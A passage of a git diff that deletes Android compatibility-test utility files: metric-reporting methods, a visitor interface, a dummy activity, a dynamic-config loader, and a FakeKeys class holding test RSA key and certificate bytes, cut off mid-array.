-        } catch (Exception e) {
-            Log.e(TAG, "Could not log metric.", e);
-        }
-    }
-
-    /**
-     * Adds a String metric to the report.
-     */
-    @Override
-    public void addValue(String message, String value, ResultType type, ResultUnit unit) {
-        try {
-            store.addResult(message, value);
-        } catch (Exception e) {
-            Log.e(TAG, "Could not log metric.", e);
-        }
-    }
-
-    /**
-     * Adds an int array of metrics to the report.
-     */
-    @Override
-    public void addValues(String message, int[] values, ResultType type, ResultUnit unit) {
-        try {
-            store.addArrayResult(message, values);
-        } catch (Exception e) {
-            Log.e(TAG, "Could not log metric.", e);
-        }
-    }
-
-    /**
-     * Adds a long array of metrics to the report.
-     */
-    @Override
-    public void addValues(String message, long[] values, ResultType type, ResultUnit unit) {
-        try {
-            store.addArrayResult(message, values);
-        } catch (Exception e) {
-            Log.e(TAG, "Could not log metric.", e);
-        }
-    }
-
-    /**
-     * Adds a float array of metrics to the report.
-     */
-    @Override
-    public void addValues(String message, float[] values, ResultType type, ResultUnit unit) {
-        try {
-            store.addArrayResult(message, values);
-        } catch (Exception e) {
-            Log.e(TAG, "Could not log metric.", e);
-        }
-    }
-
-    /**
-     * Adds a boolean array of metrics to the report.
-     */
-    @Override
-    public void addValues(String message, boolean[] values, ResultType type, ResultUnit unit) {
-        try {
-            store.addArrayResult(message, values);
-        } catch (Exception e) {
-            Log.e(TAG, "Could not log metric.", e);
-        }
-    }
-
-    /**
-     * Adds a String List of metrics to the report.
-     */
-    @Override
-    public void addValues(String message, List<String> values, ResultType type, ResultUnit unit) {
-        try {
-            store.addListResult(message, values);
-        } catch (Exception e) {
-            Log.e(TAG, "Could not log metric.", e);
-        }
-    }
-
-    /**
-     * Sets the summary double metric of the report.
-     *
-     * NOTE: messages over {@value Metric#MAX_MESSAGE_LENGTH} chars will be trimmed.
-     */
-    @Override
-    public void setSummary(String message, double value, ResultType type, ResultUnit unit) {
-        super.setSummary(message, value, type, unit);
-        try {
-            store.addResult(message, value);
-        } catch (Exception e) {
-            Log.e(TAG, "Could not log metric.", e);
-        }
-    }
-
-    /**
-     * Closes report file and submits report to instrumentation.
-     */
-    public void submit(Instrumentation instrumentation) {
-        try {
-            store.close();
-            Bundle output = new Bundle();
-            output.putString(RESULT, serialize(this));
-            instrumentation.sendStatus(INST_STATUS_IN_PROGRESS, output);
-        } catch (Exception e) {
-            Log.e(TAG, "ReportLog Submit Failed", e);
-            instrumentation.sendStatus(INST_STATUS_ERROR, null);
-        }
-    }
-
-    /**
-     * Closes report file. Static functions that do not have access to instrumentation can
-     * use this to close report logs. Summary, if present, is not reported to instrumentation, hence
-     * does not appear in the result XML.
-     */
-    public void submit() {
-        try {
-            store.close();
-        } catch (Exception e) {
-            Log.e(TAG, "ReportLog Submit Failed", e);
-        }
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DoubleVisitor.java b/common/device-side/util/src/com/android/compatibility/common/util/DoubleVisitor.java
deleted file mode 100644
index 96fb3bb..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/DoubleVisitor.java
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-import androidx.annotation.NonNull;
-
-/**
- * Implements the Visitor design pattern to visit 2 related objects (like a view and the activity
- * hosting it).
- *
- * @param <V1> 1st visited object
- * @param <V2> 2nd visited object
- */
-public interface DoubleVisitor<V1, V2> {
-
-    /**
-     * Visit those objects.
-     */
-    void visit(@NonNull V1 visited1, @NonNull V2 visited2);
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DummyActivity.java b/common/device-side/util/src/com/android/compatibility/common/util/DummyActivity.java
deleted file mode 100644
index 672106c..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/DummyActivity.java
+++ /dev/null
@@ -1,24 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-
-package com.android.compatibility.common.util;
-
-import android.app.Activity;
-
-public class DummyActivity extends Activity {
-
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java b/common/device-side/util/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
deleted file mode 100644
index 0e443fb..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/DynamicConfigDeviceSide.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.compatibility.common.util;
-
-import android.content.ContentResolver;
-import android.content.Context;
-import android.net.Uri;
-import android.os.Environment;
-import android.os.ParcelFileDescriptor;
-import android.util.Log;
-
-import android.support.test.InstrumentationRegistry;
-
-import org.xmlpull.v1.XmlPullParserException;
-
-import java.io.File;
-import java.io.IOException;
-import java.io.FileNotFoundException;
-
-/**
- * Load dynamic config for device side test cases
- */
-public class DynamicConfigDeviceSide extends DynamicConfig {
-
-    public static final String CONTENT_PROVIDER =
-            String.format("%s://android.tradefed.contentprovider", ContentResolver.SCHEME_CONTENT);
-
-    public DynamicConfigDeviceSide(String moduleName) throws XmlPullParserException, IOException {
-        this(moduleName, new File(CONFIG_FOLDER_ON_DEVICE));
-    }
-
-    public DynamicConfigDeviceSide(String moduleName, File configFolder)
-            throws XmlPullParserException, IOException {
-        if (!Environment.getExternalStorageState().equals(Environment.MEDIA_MOUNTED)) {
-            throw new IOException("External storage is not mounted");
-        }
-        // Use the content provider to get the config:
-        String uriPath = String.format("%s/%s/%s.dynamic", CONTENT_PROVIDER, configFolder.getAbsolutePath(), moduleName);
-        Uri sdcardUri = Uri.parse(uriPath);
-        Context appContext = InstrumentationRegistry.getTargetContext();
-        try {
-            ContentResolver resolver = appContext.getContentResolver();
-            ParcelFileDescriptor descriptor = resolver.openFileDescriptor(sdcardUri,"r");
-
-            initializeConfig(new ParcelFileDescriptor.AutoCloseInputStream(descriptor));
-            return;
-        } catch (FileNotFoundException e) {
-            // Log the error and use the fallback too
-            Log.e("DynamicConfigDeviceSide", "Error while using content provider for config", e);
-        }
-        // Fallback to the direct search
-        File configFile = getConfigFile(configFolder, moduleName);
-        initializeConfig(configFile);
-    }
-}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/FakeKeys.java b/common/device-side/util/src/com/android/compatibility/common/util/FakeKeys.java
deleted file mode 100644
index 85e06ea..0000000
--- a/common/device-side/util/src/com/android/compatibility/common/util/FakeKeys.java
+++ /dev/null
@@ -1,469 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.compatibility.common.util;
-
-// Copied from cts/tests/tests/keystore/src/android/keystore/cts/AndroidKeyStoreTest.java
-
-public class FakeKeys {
-    /*
-     * The keys and certificates below are generated with:
-     *
-     * openssl req -new -x509 -days 3650 -extensions v3_ca -keyout cakey.pem -out cacert.pem
-     * openssl req -newkey rsa:1024 -keyout userkey.pem -nodes -days 3650 -out userkey.req
-     * mkdir -p demoCA/newcerts
-     * touch demoCA/index.txt
-     * echo "01" > demoCA/serial
-     * openssl ca -out usercert.pem -in userkey.req -cert cacert.pem -keyfile cakey.pem -days 3650
-     */
-    public static class FAKE_RSA_1 {
-        /**
-         * Generated from above and converted with:
-         *
-         * openssl pkcs8 -topk8 -outform d -in userkey.pem -nocrypt | xxd -i | sed 's/0x/(byte) 0x/g'
-         */
-        public static final byte[] privateKey = {
-            (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x78, (byte) 0x02, (byte) 0x01,
-            (byte) 0x00, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a,
-            (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01,
-            (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x04, (byte) 0x82,
-            (byte) 0x02, (byte) 0x62, (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x5e,
-            (byte) 0x02, (byte) 0x01, (byte) 0x00, (byte) 0x02, (byte) 0x81, (byte) 0x81,
-            (byte) 0x00, (byte) 0xce, (byte) 0x29, (byte) 0xeb, (byte) 0xf6, (byte) 0x5b,
-            (byte) 0x25, (byte) 0xdc, (byte) 0xa1, (byte) 0xa6, (byte) 0x2c, (byte) 0x66,
-            (byte) 0xcb, (byte) 0x20, (byte) 0x90, (byte) 0x27, (byte) 0x86, (byte) 0x8a,
-            (byte) 0x44, (byte) 0x71, (byte) 0x50, (byte) 0xda, (byte) 0xd3, (byte) 0x02,
-            (byte) 0x77, (byte) 0x55, (byte) 0xe9, (byte) 0xe8, (byte) 0x08, (byte) 0xf3,
-            (byte) 0x36, (byte) 0x9a, (byte) 0xae, (byte) 0xab, (byte) 0x04, (byte) 0x6d,
-            (byte) 0x00, (byte) 0x99, (byte) 0xbf, (byte) 0x7d, (byte) 0x0f, (byte) 0x67,
-            (byte) 0x8b, (byte) 0x1d, (byte) 0xd4, (byte) 0x2b, (byte) 0x7c, (byte) 0xcb,
-            (byte) 0xcd, (byte) 0x33, (byte) 0xc7, (byte) 0x84, (byte) 0x30, (byte) 0xe2,
-            (byte) 0x45, (byte) 0x21, (byte) 0xb3, (byte) 0x75, (byte) 0xf5, (byte) 0x79,
-            (byte) 0x02, (byte) 0xda, (byte) 0x50, (byte) 0xa3, (byte) 0x8b, (byte) 0xce,
-            (byte) 0xc3, (byte) 0x8e, (byte) 0x0f, (byte) 0x25, (byte) 0xeb, (byte) 0x08,
-            (byte) 0x2c, (byte) 0xdd, (byte) 0x1c, (byte) 0xcf, (byte) 0xff, (byte) 0x3b,
-            (byte) 0xde, (byte) 0xb6, (byte) 0xaa, (byte) 0x2a, (byte) 0xa9, (byte) 0xc4,
-            (byte) 0x8a, (byte) 0x24, (byte) 0x24, (byte) 0xe6, (byte) 0x29, (byte) 0x0d,
-            (byte) 0x98, (byte) 0x4c, (byte) 0x32, (byte) 0xa1, (byte) 0x7b, (byte) 0x23,
-            (byte) 0x2b, (byte) 0x42, (byte) 0x30, (byte) 0xee, (byte) 0x78, (byte) 0x08,
-            (byte) 0x47, (byte) 0xad, (byte) 0xf2, (byte) 0x96, (byte) 0xd5, (byte) 0xf1,
-            (byte) 0x62, (byte) 0x42, (byte) 0x2d, (byte) 0x35, (byte) 0x19, (byte) 0xb4,
-            (byte) 0x3c, (byte) 0xc9, (byte) 0xc3, (byte) 0x5f, (byte) 0x03, (byte) 0x16,
-            (byte) 0x3a, (byte) 0x23, (byte) 0xac, (byte) 0xcb, (byte) 0xce, (byte) 0x9e,
-            (byte) 0x51, (byte) 0x2e, (byte) 0x6d, (byte) 0x02, (byte) 0x03, (byte) 0x01,
-            (byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x81, (byte) 0x80, (byte) 0x16,
-            (byte) 0x59, (byte) 0xc3, (byte) 0x24, (byte) 0x1d, (byte) 0x33, (byte) 0x98,
-            (byte) 0x9c, (byte) 0xc9, (byte) 0xc8, (byte) 0x2c, (byte) 0x88, (byte) 0xbf,
-            (byte) 0x0a, (byte) 0x01, (byte) 0xce, (byte) 0xfb, (byte) 0x34, (byte) 0x7a,
-            (byte) 0x58, (byte) 0x7a, (byte) 0xb0, (byte) 0xbf, (byte) 0xa6, (byte) 0xb2,
-            (byte) 0x60, (byte) 0xbe, (byte) 0x70, (byte) 0x21, (byte) 0xf5, (byte) 0xfc,
-            (byte) 0x85, (byte) 0x0d, (byte) 0x33, (byte) 0x58, (byte) 0xa1, (byte) 0xe5,
-            (byte) 0x09, (byte) 0x36, (byte) 0x84, (byte) 0xb2, (byte) 0x04, (byte) 0x0a,
-            (byte) 0x02, (byte) 0xd3, (byte) 0x88, (byte) 0x1f, (byte) 0x0c, (byte) 0x2b,
-            (byte) 0x1d, (byte) 0xe9, (byte) 0x3d, (byte) 0xe7, (byte) 0x79, (byte) 0xf9,
-            (byte) 0x32, (byte) 0x5c, (byte) 0x8a, (byte) 0x75, (byte) 0x49, (byte) 0x12,
-            (byte) 0xe4, (byte) 0x05, (byte) 0x26, (byte) 0xd4, (byte) 0x2e, (byte) 0x9e,
-            (byte) 0x1f, (byte) 0xcc, (byte) 0x54, (byte) 0xad, (byte) 0x33, (byte) 0x8d,
-            (byte) 0x99, (byte) 0x00, (byte) 0xdc, (byte) 0xf5, (byte) 0xb4, (byte) 0xa2,
-            (byte) 0x2f, (byte) 0xba, (byte) 0xe5, (byte) 0x62, (byte) 0x30, (byte) 0x6d,
-            (byte) 0xe6, (byte) 0x3d, (byte) 0xeb, (byte) 0x24, (byte) 0xc2, (byte) 0xdc,
-            (byte) 0x5f, (byte) 0xb7, (byte) 0x16, (byte) 0x35, (byte) 0xa3, (byte) 0x98,
-            (byte) 0x98, (byte) 0xa8, (byte) 0xef, (byte) 0xe8, (byte) 0xc4, (byte) 0x96,
-            (byte) 0x6d, (byte) 0x38, (byte) 0xab, (byte) 0x26, (byte) 0x6d, (byte) 0x30,
-            (byte) 0xc2, (byte) 0xa0, (byte) 0x44, (byte) 0xe4, (byte) 0xff, (byte) 0x7e,
-            (byte) 0xbe, (byte) 0x7c, (byte) 0x33, (byte) 0xa5, (byte) 0x10, (byte) 0xad,
-            (byte) 0xd7, (byte) 0x1e, (byte) 0x13, (byte) 0x20, (byte) 0xb3, (byte) 0x1f,
-            (byte) 0x41, (byte) 0x02, (byte) 0x41, (byte) 0x00, (byte) 0xf1, (byte) 0x89,
-            (byte) 0x07, (byte) 0x0f, (byte) 0xe8, (byte) 0xcf, (byte) 0xab, (byte) 0x13,
-            (byte) 0x2a, (byte) 0x8f, (byte) 0x88, (byte) 0x80, (byte) 0x11, (byte) 0x9a,
-            (byte) 0x79, (byte) 0xb6, (byte) 0x59, (byte) 0x3a, (byte) 0x50, (byte) 0x6e,
-            (byte) 0x57, (byte) 0x37, (byte) 0xab, (byte) 0x2a, (byte) 0xd2, (byte) 0xaa,
-            (byte) 0xd9, (byte) 0x72, (byte) 0x73, (byte) 0xff, (byte) 0x8b, (byte) 0x47,
-            (byte) 0x76, (byte) 0xdd, (byte) 0xdc, (byte) 0xf5, (byte) 0x97, (byte) 0x44,
-            (byte) 0x3a, (byte) 0x78, (byte) 0xbe, (byte) 0x17, (byte) 0xb4, (byte) 0x22,
-            (byte) 0x6f, (byte) 0xe5, (byte) 0x23, (byte) 0x70, (byte) 0x1d, (byte) 0x10,
-            (byte) 0x5d, (byte) 0xba, (byte) 0x16, (byte) 0x81, (byte) 0xf1, (byte) 0x45,
-            (byte) 0xce, (byte) 0x30, (byte) 0xb4, (byte) 0xab, (byte) 0x80, (byte) 0xe4,
-            (byte) 0x98, (byte) 0x31, (byte) 0x02, (byte) 0x41, (byte) 0x00, (byte) 0xda,
-            (byte) 0x82, (byte) 0x9d, (byte) 0x3f, (byte) 0xca, (byte) 0x2f, (byte) 0xe1,
-            (byte) 0xd4, (byte) 0x86, (byte) 0x77, (byte) 0x48, (byte) 0xa6, (byte) 0xab,
-            (byte) 0xab, (byte) 0x1c, (byte) 0x42, (byte) 0x5c, (byte) 0xd5, (byte) 0xc7,
-            (byte) 0x46, (byte) 0x59, (byte) 0x91, (byte) 0x3f, (byte) 0xfc, (byte) 0xcc,
-            (byte) 0xec, (byte) 0xc2, (byte) 0x40, (byte) 0x12, (byte) 0x2c, (byte) 0x8d,
-            (byte) 0x1f, (byte) 0xa2, (byte) 0x18, (byte) 0x88, (byte) 0xee, (byte) 0x82,
-            (byte) 0x4a, (byte) 0x5a, (byte) 0x5e, (byte) 0x88, (byte) 0x20, (byte) 0xe3,
-            (byte) 0x7b, (byte) 0xe0, (byte) 0xd8, (byte) 0x3a, (byte) 0x52, (byte) 0x9a,
-            (byte) 0x26, (byte) 0x6a, (byte) 0x04, (byte) 0xec, (byte) 0xe8, (byte) 0xb9,
-            (byte) 0x48, (byte) 0x40, (byte) 0xe1, (byte) 0xe1, (byte) 0x83, (byte) 0xa6,
-            (byte) 0x67, (byte) 0xa6, (byte) 0xfd, (byte) 0x02, (byte) 0x41, (byte) 0x00,
-            (byte) 0x89, (byte) 0x72, (byte) 0x3e, (byte) 0xb0, (byte) 0x90, (byte) 0xfd,
-            (byte) 0x4c, (byte) 0x0e, (byte) 0xd6, (byte) 0x13, (byte) 0x63, (byte) 0xcb,
-            (byte) 0xed, (byte) 0x38, (byte) 0x88, (byte) 0xb6, (byte) 0x79, (byte) 0xc4,
-            (byte) 0x33, (byte) 0x6c, (byte) 0xf6, (byte) 0xf8, (byte) 0xd8, (byte) 0xd0,
-            (byte) 0xbf, (byte) 0x9d, (byte) 0x35, (byte) 0xac, (byte) 0x69, (byte) 0xd2,
-            (byte) 0x2b, (byte) 0xc1, (byte) 0xf9, (byte) 0x24, (byte) 0x7b, (byte) 0xce,
-            (byte) 0xcd, (byte) 0xcb, (byte) 0xa7, (byte) 0xb2, (byte) 0x7a, (byte) 0x0a,
-            (byte) 0x27, (byte) 0x19, (byte) 0xc9, (byte) 0xaf, (byte) 0x0d, (byte) 0x21,
-            (byte) 0x89, (byte) 0x88, (byte) 0x7c, (byte) 0xad, (byte) 0x9e, (byte) 0x8d,
-            (byte) 0x47, (byte) 0x6d, (byte) 0x3f, (byte) 0xce, (byte) 0x7b, (byte) 0xa1,
-            (byte) 0x74, (byte) 0xf1, (byte) 0xa0, (byte) 0xa1, (byte) 0x02, (byte) 0x41,
-            (byte) 0x00, (byte) 0xd9, (byte) 0xa8, (byte) 0xf5, (byte) 0xfe, (byte) 0xce,
-            (byte) 0xe6, (byte) 0x77, (byte) 0x6b, (byte) 0xfe, (byte) 0x2d, (byte) 0xe0,
-            (byte) 0x1e, (byte) 0xb6, (byte) 0x2e, (byte) 0x12, (byte) 0x4e, (byte) 0x40,
-            (byte) 0xaf, (byte) 0x6a, (byte) 0x7b, (byte) 0x37, (byte) 0x49, (byte) 0x2a,
-            (byte) 0x96, (byte) 0x25, (byte) 0x83, (byte) 0x49, (byte) 0xd4, (byte) 0x0c,
-            (byte) 0xc6, (byte) 0x78, (byte) 0x25, (byte) 0x24, (byte) 0x90, (byte) 0x90,
-            (byte) 0x06, (byte) 0x15, (byte) 0x9e, (byte) 0xfe, (byte) 0xf9, (byte) 0xdf,
-            (byte) 0x5b, (byte) 0xf3, (byte) 0x7e, (byte) 0x38, (byte) 0x70, (byte) 0xeb,
-            (byte) 0x57, (byte) 0xd0, (byte) 0xd9, (byte) 0xa7, (byte) 0x0e, (byte) 0x14,
-            (byte) 0xf7, (byte) 0x95, (byte) 0x68, (byte) 0xd5, (byte) 0xc8, (byte) 0xab,
-            (byte) 0x9d, (byte) 0x3a, (byte) 0x2b, (byte) 0x51, (byte) 0xf9, (byte) 0x02,
-            (byte) 0x41, (byte) 0x00, (byte) 0x96, (byte) 0xdf, (byte) 0xe9, (byte) 0x67,
-            (byte) 0x6c, (byte) 0xdc, (byte) 0x90, (byte) 0x14, (byte) 0xb4, (byte) 0x1d,
-            (byte) 0x22, (byte) 0x33, (byte) 0x4a, (byte) 0x31, (byte) 0xc1, (byte) 0x9d,
-            (byte) 0x2e, (byte) 0xff, (byte) 0x9a, (byte) 0x2a, (byte) 0x95, (byte) 0x4b,
-            (byte) 0x27, (byte) 0x74, (byte) 0xcb, (byte) 0x21, (byte) 0xc3, (byte) 0xd2,
-            (byte) 0x0b, (byte) 0xb2, (byte) 0x46, (byte) 0x87, (byte) 0xf8, (byte) 0x28,
-            (byte) 0x01, (byte) 0x8b, (byte) 0xd8, (byte) 0xb9, (byte) 0x4b, (byte) 0xcd,
-            (byte) 0x9a, (byte) 0x96, (byte) 0x41, (byte) 0x0e, (byte) 0x36, (byte) 0x6d,
-            (byte) 0x40, (byte) 0x42, (byte) 0xbc, (byte) 0xd9, (byte) 0xd3, (byte) 0x7b,
-            (byte) 0xbc, (byte) 0xa7, (byte) 0x92, (byte) 0x90, (byte) 0xdd, (byte) 0xa1,
-            (byte) 0x9c, (byte) 0xce, (byte) 0xa1, (byte) 0x87, (byte) 0x11, (byte) 0x51
-        };
-
-        /**
-         * Generated from above and converted with:
-         *
-         * openssl x509 -outform d -in cacert.pem | xxd -i | sed 's/0x/(byte) 0x/g'
-         */
-        public static final byte[] caCertificate = {
-            (byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0xce, (byte) 0x30, (byte) 0x82,
-            (byte) 0x02, (byte) 0x37, (byte) 0xa0, (byte) 0x03, (byte) 0x02, (byte) 0x01,
-            (byte) 0x02, (byte) 0x02, (byte) 0x09, (byte) 0x00, (byte) 0xe1, (byte) 0x6a,
-            (byte) 0xa2, (byte) 0xf4, (byte) 0x2e, (byte) 0x55, (byte) 0x48, (byte) 0x0a,
-            (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09, (byte) 0x2a, (byte) 0x86,
-            (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d, (byte) 0x01, (byte) 0x01,
-            (byte) 0x05, (byte) 0x05, (byte) 0x00, (byte) 0x30, (byte) 0x4f, (byte) 0x31,
-            (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55,
-            (byte) 0x04, (byte) 0x06, (byte) 0x13, (byte) 0x02, (byte) 0x55, (byte) 0x53,
-            (byte) 0x31, (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03,
-            (byte) 0x55, (byte) 0x04, (byte) 0x08, (byte) 0x13, (byte) 0x02, (byte) 0x43,
-            (byte) 0x41, (byte) 0x31, (byte) 0x16, (byte) 0x30, (byte) 0x14, (byte) 0x06,
-            (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x07, (byte) 0x13, (byte) 0x0d,
-            (byte) 0x4d, (byte) 0x6f, (byte) 0x75, (byte) 0x6e, (byte) 0x74, (byte) 0x61,
-            (byte) 0x69, (byte) 0x6e, (byte) 0x20, (byte) 0x56, (byte) 0x69, (byte) 0x65,
-            (byte) 0x77, (byte) 0x31, (byte) 0x1b, (byte) 0x30, (byte) 0x19, (byte) 0x06,
-            (byte) 0x03, (byte) 0x55, (byte) 0x04, (byte) 0x0a, (byte) 0x13, (byte) 0x12,
-            (byte) 0x41, (byte) 0x6e, (byte) 0x64, (byte) 0x72, (byte) 0x6f, (byte) 0x69,
-            (byte) 0x64, (byte) 0x20, (byte) 0x54, (byte) 0x65, (byte) 0x73, (byte) 0x74,
-            (byte) 0x20, (byte) 0x43, (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x73,
-            (byte) 0x30, (byte) 0x1e, (byte) 0x17, (byte) 0x0d, (byte) 0x31, (byte) 0x32,
-            (byte) 0x30, (byte) 0x38, (byte) 0x31, (byte) 0x34, (byte) 0x31, (byte) 0x36,
-            (byte) 0x35, (byte) 0x35, (byte) 0x34, (byte) 0x34, (byte) 0x5a, (byte) 0x17,
-            (byte) 0x0d, (byte) 0x32, (byte) 0x32, (byte) 0x30, (byte) 0x38, (byte) 0x31,
-            (byte) 0x32, (byte) 0x31, (byte) 0x36, (byte) 0x35, (byte) 0x35, (byte) 0x34,
-            (byte) 0x34, (byte) 0x5a, (byte) 0x30, (byte) 0x4f, (byte) 0x31, (byte) 0x0b,
-            (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x04,
-            (byte) 0x06, (byte) 0x13, (byte) 0x02, (byte) 0x55, (byte) 0x53, (byte) 0x31,
-            (byte) 0x0b, (byte) 0x30, (byte) 0x09, (byte) 0x06, (byte) 0x03, (byte) 0x55,
-            (byte) 0x04, (byte) 0x08, (byte) 0x13, (byte) 0x02, (byte) 0x43, (byte) 0x41,
-            (byte) 0x31, (byte) 0x16, (byte) 0x30, (byte) 0x14, (byte) 0x06, (byte) 0x03,
-            (byte) 0x55, (byte) 0x04, (byte) 0x07, (byte) 0x13, (byte) 0x0d, (byte) 0x4d,
-            (byte) 0x6f, (byte) 0x75, (byte) 0x6e, (byte) 0x74, (byte) 0x61, (byte) 0x69,
-            (byte) 0x6e, (byte) 0x20, (byte) 0x56, (byte) 0x69, (byte) 0x65, (byte) 0x77,
-            (byte) 0x31, (byte) 0x1b, (byte) 0x30, (byte) 0x19, (byte) 0x06, (byte) 0x03,
-            (byte) 0x55, (byte) 0x04, (byte) 0x0a, (byte) 0x13, (byte) 0x12, (byte) 0x41,
-            (byte) 0x6e, (byte) 0x64, (byte) 0x72, (byte) 0x6f, (byte) 0x69, (byte) 0x64,
-            (byte) 0x20, (byte) 0x54, (byte) 0x65, (byte) 0x73, (byte) 0x74, (byte) 0x20,
-            (byte) 0x43, (byte) 0x61, (byte) 0x73, (byte) 0x65, (byte) 0x73, (byte) 0x30,
-            (byte) 0x81, (byte) 0x9f, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09,
-            (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d,
-            (byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x03,
-            (byte) 0x81, (byte) 0x8d, (byte) 0x00, (byte) 0x30, (byte) 0x81, (byte) 0x89,
-            (byte) 0x02, (byte) 0x81, (byte) 0x81, (byte) 0x00, (byte) 0xa3, (byte) 0x72,
-            (byte) 0xab, (byte) 0xd0, (byte) 0xe4, (byte) 0xad, (byte) 0x2f, (byte) 0xe7,
-            (byte) 0xe2, (byte) 0x79, (byte) 0x07, (byte) 0x36, (byte) 0x3d, (byte) 0x0c,
-            (byte) 0x8d, (byte) 0x42, (byte) 0x9a, (byte) 0x0a, (byte) 0x33, (byte) 0x64,
-            (byte) 0xb3, (byte) 0xcd, (byte) 0xb2, (byte) 0xd7, (byte) 0x3a, (byte) 0x42,
-            (byte) 0x06, (byte) 0x77, (byte) 0x45, (byte) 0x29, (byte) 0xe9, (byte) 0xcb,
-            (byte) 0xb7, (byte) 0x4a, (byte) 0xd6, (byte) 0xee, (byte) 0xad, (byte) 0x01,
-            (byte) 0x91, (byte) 0x9b, (byte) 0x0c, (byte) 0x59, (byte) 0xa1, (byte) 0x03,
-            (byte) 0xfa, (byte) 0xf0, (byte) 0x5a, (byte) 0x7c, (byte) 0x4f, (byte) 0xf7,
-            (byte) 0x8d, (byte) 0x36, (byte) 0x0f, (byte) 0x1f, (byte) 0x45, (byte) 0x7d,
-            (byte) 0x1b, (byte) 0x31, (byte) 0xa1, (byte) 0x35, (byte) 0x0b, (byte) 0x00,
-            (byte) 0xed, (byte) 0x7a, (byte) 0xb6, (byte) 0xc8, (byte) 0x4e, (byte) 0xa9,
-            (byte) 0x86, (byte) 0x4c, (byte) 0x7b, (byte) 0x99, (byte) 0x57, (byte) 0x41,
-            (byte) 0x12, (byte) 0xef, (byte) 0x6b, (byte) 0xbc, (byte) 0x3d, (byte) 0x60,
-            (byte) 0xf2, (byte) 0x99, (byte) 0x1a, (byte) 0xcd, (byte) 0xed, (byte) 0x56,
-            (byte) 0xa4, (byte) 0xe5, (byte) 0x36, (byte) 0x9f, (byte) 0x24, (byte) 0x1f,
-            (byte) 0xdc, (byte) 0x89, (byte) 0x40, (byte) 0xc8, (byte) 0x99, (byte) 0x92,
-            (byte) 0xab, (byte) 0x4a, (byte) 0xb5, (byte) 0x61, (byte) 0x45, (byte) 0x62,
-            (byte) 0xff, (byte) 0xa3, (byte) 0x45, (byte) 0x65, (byte) 0xaf, (byte) 0xf6,
-            (byte) 0x27, (byte) 0x30, (byte) 0x51, (byte) 0x0e, (byte) 0x0e, (byte) 0xeb,
-            (byte) 0x79, (byte) 0x0c, (byte) 0xbe, (byte) 0xb3, (byte) 0x0a, (byte) 0x6f,
-            (byte) 0x29, (byte) 0x06, (byte) 0xdc, (byte) 0x2f, (byte) 0x6b, (byte) 0x51,
-            (byte) 0x02, (byte) 0x03, (byte) 0x01, (byte) 0x00, (byte) 0x01, (byte) 0xa3,
-            (byte) 0x81, (byte) 0xb1, (byte) 0x30, (byte) 0x81, (byte) 0xae, (byte) 0x30,
-            (byte) 0x1d, (byte) 0x06, (byte) 0x03, (byte) 0x55, (byte) 0x1d, (byte) 0x0e,
